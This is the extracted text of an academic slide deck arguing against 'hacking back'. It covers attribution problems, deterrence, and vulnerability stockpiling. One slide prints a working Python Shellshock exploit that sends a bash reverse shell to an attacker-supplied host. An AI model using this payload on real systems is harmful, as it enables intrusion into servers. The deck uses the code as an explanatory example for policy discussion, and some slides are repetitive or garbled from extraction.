DON’T HACK BACK

Misconceptions about Offensive Responses to Cyberattacks

Dr. Dominik Herrmann
University of Hamburg, Security in Distributed Systems Group

Slides: https://dhgo.to/hack-back
Dr. Dominik Herrmann

Postdoctoral Researcher working on information security and privacy enhancing techniques

Junior Fellow of German Informatics Society (Gesellschaft für Informatik)

PhD about Privacy Techniques
University of Hamburg (2014)

Business Information Systems
University of Regensburg (2008)

Visiting Professor
University of Siegen (2015–17)
Cyber Warfare

actions by a nation-state to penetrate another nation's computers or networks for the purposes of causing damage or disruption (Clarke, 2010)

Cyber Attack

a cyber operation, whether offensive or defensive, that is reasonably expected to cause injury or death to persons or damage or destruction to objects (Tallinn Manual, 2013)

Cyber Weapon

sponsored by a state or non-state actor, meets an objective which would otherwise require espionage or the use of force, employed against specific targets (Wikipedia, 2016)
Strategies of the defender

**Prevent**
- Firewalls, authentication, encryption, ...

**Deter**
- Plausible threat of launching a counterattack

**Deflect**
- Prevent adversary from reaching target (e.g., at ISP)

**Detect**
- During the attack or post mortem

**Mitigate**
- Various active defensive measures

**Recover**
- Crisis management, emergency plans, ...

PREVENTIVE

REACTIVE
Policy makers are interested to invest in offensive measures.

“During an ongoing attack, police, military or intelligence service units would attempt to identify the assailant and block the attack or destroy the servers being used to stage the incursion.”

“... it would also be possible to remove the servers on which stolen parliament data is located.”

see also:
Strategische Leitlinie Cyber-Verteidigung im Geschäftsbereich BMVg (2015)
“Hacking back” is based on the hypothesis that there is something to hack into.

http://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=15980&view=map
However, this is not the case for recent DDoS attacks (e.g. Mirai botnet, 2016).

[Link to Digital Attack Map]

http://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=2&time=17066&view=map
The attribution of attacks is difficult for defenders, because adversaries use foreign servers as stepping stones for their attack, i.e., IP addresses become meaningless.
Other approaches try to infer the geographic location by studying times of activities and try to identify source based on peculiar patterns in the code of malware.

But all of this can be forged.

... the group sent Spanish-language documents to Russian targets, Arabic strings were found in their malware targeting BlackBerry mobile devices and Hindi strings in their Android malware. ... used routers in South Korea, and they were deploying Chinese malware
What does a cyberweapon look like?

A cyberweapon can be a host controlled by an attacker, exploiting code, or targeted system.

```python
import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;}/>bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_shell }

conn.request("GET", sys.argv[2], headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
```

Example: Bash on a webserver.

Software with security vulnerability.
Each cyberattack affects a specific protection goal of an information system.

Each cyberattack affects a specific protection goal of an information system.

- **Surveillance by NSA**
- **Hacking Team Leak**
- **Panama Papers**
- **confidentiality**
- **integrity**
- **availability**

Stuxnet

DDoS attack on Estonia

---

**Cyber attack – Stuxnet worm hits Iranian nuclear plant**

*by John Kennedy*

27 SEP 2010

---

**Blackout in Ukraine (2015)**

---

**Hacking Team, the Surveillance Tech Firm, Gets Hacked**

*Italian company sold surveillance tools to dozens of countries, according to leaked files*

---

**Hackers take down the most wired country in Europe**

*The minister of defense checked the Web page again — still nothing. He stared at the error*
Attacks on Availability

DISTRIBUTED DENIAL OF SERVICE ATTACK

OR

COMPROMISE SYSTEM

OR

DEFLECT (BACKBONE)

VENDOR LIABILITY

OPERATOR LIABILITY

rationale: internet of things botnets flourish mostly because of poor practices of vendors and operators.
COMPROMISE SYSTEM

neutralize defenses AND system is reachable

ISOLATE SYSTEMS

OR

EXPLOIT VULNERABILITY SPEARPHISHING ATTACK USE AN INSIDER

EXPLOIT VULNERABILITY AND SOCIAL ENGINEERING

S/MIME, etc.

IMPROVE AUTHENTICITY
Proposed approach for offensive cyber warfare
- active search for vulnerabilities
- development of exploits
- retention of vulnerabilities instead of disclosure to the vendor
However, evidence suggests that stockpiling vulnerabilities is expensive and quite ineffective.
However, evidence suggests that stockpiling vulnerabilities is expensive and quite ineffective.
However, evidence suggests that stockpiling vulnerabilities is expensive and quite ineffective.
EXPLOIT VULNERABILITY

zero-day vulnerability

- good exploitability; difficult to find or expensive to buy; sudden loss of utility once published

published vulnerability

- easy to find, low cost of utilization but also easy to defend against

„nobus“ vulnerabilities

- („nobody but us“)

OR

MANIPULATE STANDARDS

IMPLEMENT BACKDOORS

However, cyberweapons can be stolen.
Vault 7 (FBI), Shadow Brokers (NSA), HBGary, Hacking Team, ...
EXPLOIT VULNERABILITY

published vulnerability

easy to find, low cost of utilization
but also easy to defend against

OR

MANIPULATE
STANDARDS

OR

IMPLEMENT
BACKDOORS

Dual EC: A Standardized Back Door

Daniel J. Bernstein\textsuperscript{1,2}, Tanja Lange\textsuperscript{1}, and Ruben Niederhagen\textsuperscript{1}

\textsuperscript{1} Department of Mathematics and Computer Science
Technische Universiteit Eindhoven
P.O. Box 513, 5600 MB Eindhoven, The Netherlands
tanja@hyperelliptic.org, ruben@polycephaly.org

\textsuperscript{2} Department of Computer Science
University of Illinois at Chicago
Chicago, IL 60607–7045, USA
djb@cr.yp.to

Dual EC was part of a systematic effort by NSA to subvert standards.

Nothing-up-my-Sleeve #

Bug Bounties
EXPLOIT VULNERABILITY

OR

zero-day vulnerabilities

good exploitability; difficult to find,

manipulate standards

difficult to find; expensive to buy; sudden loss of utility once published

„nobus“ vulnerabilities
(„nobody but us“)

Nothing-up-my-Sleeve #

Bug Bounties

IMPLEMENT BACKDOORS

MANIPULATE STANDARDS

low cost of utilization
easy to defend against

static OSStatus
SSLVerifySignedServerKeyExchange(SSLctx,
unit

OSStatus err;

...
EXPLOIT VULNERABILITY

<table>
<thead>
<tr>
<th>zero-day vulnerability</th>
<th>published vulnerability</th>
</tr>
</thead>
<tbody>
<tr>
<td>good exploitability; difficult to find or expensive to buy; sudden loss of utility once published</td>
<td></td>
</tr>
</tbody>
</table>

„nobus“ vulnerabilities („nobody but us“)

OR

MANIPULATE STANDARDS

IMPLOY BACKDOORS

Nothing-up-my-Sleeve #

Bug Bounties

The security flaws at the heart of the Panama Papers

Mossack Fonseca used very old software: Outlook Web Access (2009), Drupal (2013, 25 vulns.)
DON’T HACK BACK

Misconceptions about Offensive Responses to Cyberattacks

- attribution of attacks is futile
- effectiveness of hacking back is limited
- hoarding vulnerabilities decreases our own security

Dr. Dominik Herrmann
University of Hamburg

Slides: https://dhgo.to/hack-back
http://herdom.net